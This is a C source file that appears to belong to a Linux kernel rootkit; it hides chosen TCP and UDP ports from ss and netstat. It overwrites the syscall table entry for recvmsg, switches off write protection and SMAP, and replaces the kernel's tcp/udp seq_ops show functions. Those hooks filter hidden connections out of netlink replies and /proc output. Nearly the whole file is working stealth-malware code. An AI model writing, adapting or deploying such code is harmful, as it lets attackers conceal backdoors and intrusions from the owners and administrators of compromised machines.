sockhide.c (8951B)
1 #include <linux/kernel.h> 2 #include <linux/seq_file.h> 3 #include <net/inet_sock.h> 4 #include <linux/inet_diag.h> 5 #include <linux/byteorder/generic.h> 6 #include <asm/smap.h> 7 #include <linux/version.h> 8 9 #include "common.h" 10 #include "hook.h" 11 #include "sockhide.h" 12 #include "packhide.h" 13 #include "porthide.h" 14 15 port_list_t hidden_ports = { 16 .port = -1, 17 .proto = -1, 18 .prev = NULL, 19 .next = NULL, 20 }; 21 22 port_list_t_ptr hidden_ports_tail = &hidden_ports; 23 24 static asmlinkage ssize_t (*sys_recvmsg)(struct pt_regs *); 25 26 static int (*tcp4_seq_show)(struct seq_file *seq, void *v); 27 static int (*udp4_seq_show)(struct seq_file *seq, void *v); 28 static int (*tcp6_seq_show)(struct seq_file *seq, void *v); 29 static int (*udp6_seq_show)(struct seq_file *seq, void *v); 30 31 static int g7_tcp4_seq_show(struct seq_file *, void *); 32 static int g7_tcp6_seq_show(struct seq_file *, void *); 33 static int g7_udp4_seq_show(struct seq_file *, void *); 34 static int g7_udp6_seq_show(struct seq_file *, void *); 35 36 void 37 hide_sockets(void) 38 { 39 if (!sys_recvmsg) { 40 sys_recvmsg = (void *)sys_calls[__NR_recvmsg]; 41 42 tcp4_seq_show 43 = ((struct seq_operations *)kallsyms_lookup_name("tcp4_seq_ops"))->show; 44 45 tcp6_seq_show 46 = ((struct seq_operations *)kallsyms_lookup_name("tcp6_seq_ops"))->show; 47 48 udp4_seq_show 49 = ((struct seq_operations *)kallsyms_lookup_name("udp_seq_ops"))->show; 50 51 udp6_seq_show 52 = ((struct seq_operations *)kallsyms_lookup_name("udp6_seq_ops"))->show; 53 54 disable_protection(); 55 56 sys_calls[__NR_recvmsg] = (void *)g7_recvmsg; 57 58 ((struct seq_operations *)kallsyms_lookup_name("tcp4_seq_ops"))->show 59 = (void *)g7_tcp4_seq_show; 60 61 ((struct seq_operations *)kallsyms_lookup_name("tcp6_seq_ops"))->show 62 = (void *)g7_tcp6_seq_show; 63 64 ((struct seq_operations *)kallsyms_lookup_name("udp_seq_ops"))->show 65 = (void *)g7_udp4_seq_show; 66 67 ((struct seq_operations *)kallsyms_lookup_name("udp6_seq_ops"))->show 68 = (void *)g7_udp6_seq_show; 69 70 enable_protection(); 71 72 hide_packets(); 73 } 74 } 75 76 void 77 unhide_sockets(void) 78 { 79 if (sys_recvmsg) { 80 disable_protection(); 81 sys_calls[__NR_recvmsg] = (void *)sys_recvmsg; 82 83 ((struct seq_operations *)kallsyms_lookup_name("tcp4_seq_ops"))->show 84 = (void *)tcp4_seq_show; 85 86 ((struct seq_operations *)kallsyms_lookup_name("tcp6_seq_ops"))->show 87 = (void *)tcp6_seq_show; 88 89 ((struct seq_operations *)kallsyms_lookup_name("udp_seq_ops"))->show 90 = (void *)udp4_seq_show; 91 92 ((struct seq_operations *)kallsyms_lookup_name("udp6_seq_ops"))->show 93 = (void *)udp6_seq_show; 94 95 enable_protection(); 96 sys_recvmsg = NULL; 97 98 unhide_packets(); 99 clear_hidden_ports(); 100 clear_hidden_lports(); 101 } 102 } 103 104 void 105 hide_port(port_t port, proto_t proto) 106 { 107 add_port_to_list(hidden_ports_tail, port, proto); 108 109 if (proto == tcp4 || proto == tcp6) 110 hide_lport(port); 111 } 112 113 void 114 unhide_port(port_t port, proto_t proto) 115 { 116 remove_port_from_list(&hidden_ports, port, proto); 117 118 if (proto == tcp4 || proto == tcp6) 119 unhide_lport(port); 120 } 121 122 void 123 clear_hidden_ports(void) 124 { 125 port_list_t_ptr i = hidden_ports_tail; 126 while ((i = remove_port_from_list(i, i->port, i->proto))); 127 } 128 129 bool 130 list_contains_port(port_list_t_ptr list, port_t port, proto_t proto) 131 { 132 return !!find_port_in_list(list, port, proto); 133 } 134 135 port_list_t_ptr 136 find_port_in_list(port_list_t_ptr head, port_t port, proto_t proto) 137 { 138 port_list_t_ptr i; 139 for (i = head; i; i = i->next) 140 if (i->port == port && (proto == -1 || i->proto == proto)) 141 return i; 142 143 return NULL; 144 } 145 146 port_list_t_ptr 147 add_port_to_list(port_list_t_ptr tail, port_t port, proto_t proto) 148 { 149 port_list_t_ptr node; 150 node = (port_list_t_ptr)kmalloc(sizeof(port_list_t), GFP_KERNEL); 151 152 if (node) { 153 node->port = port; 154 node->proto = proto; 155 node->next = NULL; 156 node->prev = tail; 157 tail->next = node; 158 hidden_ports_tail = node; 159 return node; 160 } 161 162 return NULL; 163 } 164 165 port_list_t_ptr 166 remove_port_from_list(port_list_t_ptr list, port_t port, proto_t proto) 167 { 168 port_list_t_ptr i = find_port_in_list(list, port, proto), ret = NULL; 169 170 if (i && (i->port != -1 && i->proto != -1)) { 171 if (i->next) 172 i->next->prev = i->prev; 173 else 174 hidden_ports_tail = i->prev ? i->prev : &hidden_ports; 175 176 if (i->prev) { 177 i->prev->next = i->next; 178 ret = i->prev; 179 } 180 181 kfree(i); 182 } 183 184 return ret; 185 } 186 187 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/smap.h#L58 188 static inline void 189 disable_smap(void) { 190 #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 2, 0) 191 alternative("", __stringify(__ASM_STAC), X86_FEATURE_SMAP); 192 #else 193 alternative("", __ASM_STAC, X86_FEATURE_SMAP); 194 #endif 195 } 196 197 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/smap.h#L52 198 static inline void 199 enable_smap(void) { 200 #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 2, 0) 201 alternative("", __stringify(__ASM_CLAC), X86_FEATURE_SMAP); 202 #else 203 alternative("", __ASM_CLAC, X86_FEATURE_SMAP); 204 #endif 205 } 206 207 /** 208 * SS-Hiding 209 * We rely on disabling SMAP, because gathering 210 * the total packet length is tedious 211 * (Or we just didn't find the right way) 212 * Nice sources for this section: 213 * https://man7.org/linux/man-pages/man7/netlink.7.html 214 * https://man7.org/linux/man-pages/man3/netlink.3.html 215 * https://elixir.bootlin.com/linux/v4.19/source/include/net/netlink.h (protocol stuff) 216 * https://elixir.bootlin.com/linux/v4.19/source/include/linux/netlink.h (macros) 217 **/ 218 asmlinkage ssize_t 219 g7_recvmsg(struct pt_regs *pt_regs) 220 { 221 size_t i; 222 ssize_t ret, len; 223 struct nlmsghdr *nh; 224 225 if ((len = ret = sys_recvmsg(pt_regs)) < 0) 226 return ret; 227 228 disable_smap(); 229 //Retrieve the netlink header from the so called 'scatter/gather array' iovec 230 nh = (struct nlmsghdr *)((struct user_msghdr *)pt_regs->si)->msg_iov->iov_base; 231 232 while (nh && NLMSG_OK(nh, len)) { 233 int src = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_sport); 234 int dst = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_dport); 235 236 if (list_contains_port(&hidden_ports, src, -1) 237 || list_contains_port(&hidden_ports, dst, -1)) 238 { 239 //Get length of _aligned_ message for overwriting 240 int alignment = NLMSG_ALIGN(nh->nlmsg_len); 241 for (i = 0; i < len; ++i) 242 ((char *)nh)[i] = ((char *)nh)[i + alignment]; 243 244 ret -= alignment; 245 } else 246 nh = NLMSG_NEXT(nh, len); 247 } 248 249 enable_smap(); 250 return ret; 251 } 252 253 254 /** 255 * Netstat-Hiding 256 **/ 257 258 //seq and v include all the info we need 259 //https://elixir.bootlin.com/linux/v4.19/source/include/linux/seq_file.h#L16 260 //https://elixir.bootlin.com/linux/v4.19/source/net/ipv4/tcp_ipv4.c#L2385 261 static int 262 g7_tcp4_seq_show(struct seq_file *seq, void *v) 263 { 264 //SEQ_START_TOKEN is used to indicate that a 265 //header will be returned first 266 if(v == SEQ_START_TOKEN) 267 return tcp4_seq_show(seq, v); 268 269 struct sock *sk = v; 270 const struct inet_sock *inet = inet_sk(sk); 271 272 port_t src = ntohs(inet->inet_sport); 273 port_t dst = ntohs(inet->inet_dport); 274 275 if(list_contains_port(&hidden_ports, src, tcp4) 276 || list_contains_port(&hidden_ports, dst, tcp4)) 277 return 0; 278 279 return tcp4_seq_show(seq, v); 280 } 281 282 //This following hooks are basically the same as above 283 static int 284 g7_tcp6_seq_show(struct seq_file *seq, void *v) 285 { 286 if(v == SEQ_START_TOKEN) 287 return tcp6_seq_show(seq, v); 288 289 struct sock *sk = v; 290 const struct inet_sock *inet = inet_sk(sk); 291 292 port_t src = ntohs(inet->inet_sport); 293 port_t dst = ntohs(inet->inet_dport); 294 295 if(list_contains_port(&hidden_ports, src, tcp6) 296 || list_contains_port(&hidden_ports, dst, tcp6)) 297 return 0; 298 299 return tcp6_seq_show(seq, v); 300 } 301 302 static int 303 g7_udp4_seq_show(struct seq_file *seq, void *v) 304 { 305 if(v == SEQ_START_TOKEN) 306 return udp4_seq_show(seq, v); 307 308 struct sock *sk = v; 309 const struct inet_sock *inet = inet_sk(sk); 310 311 port_t src = ntohs(inet->inet_sport); 312 port_t dst = ntohs(inet->inet_dport); 313 314 if(list_contains_port(&hidden_ports, src, udp4) 315 || list_contains_port(&hidden_ports, dst, udp4)) 316 return 0; 317 318 return udp4_seq_show(seq, v); 319 } 320 321 static int 322 g7_udp6_seq_show(struct seq_file *seq, void *v) 323 { 324 if(v == SEQ_START_TOKEN) 325 return udp6_seq_show(seq, v); 326 327 struct sock *sk = v; 328 const struct inet_sock *inet = inet_sk(sk); 329 330 port_t src = ntohs(inet->inet_sport); 331 port_t dst = ntohs(inet->inet_dport); 332 333 if(list_contains_port(&hidden_ports, src, udp6) 334 || list_contains_port(&hidden_ports, dst, udp6)) 335 return 0; 336 337 return udp6_seq_show(seq, v); 338 }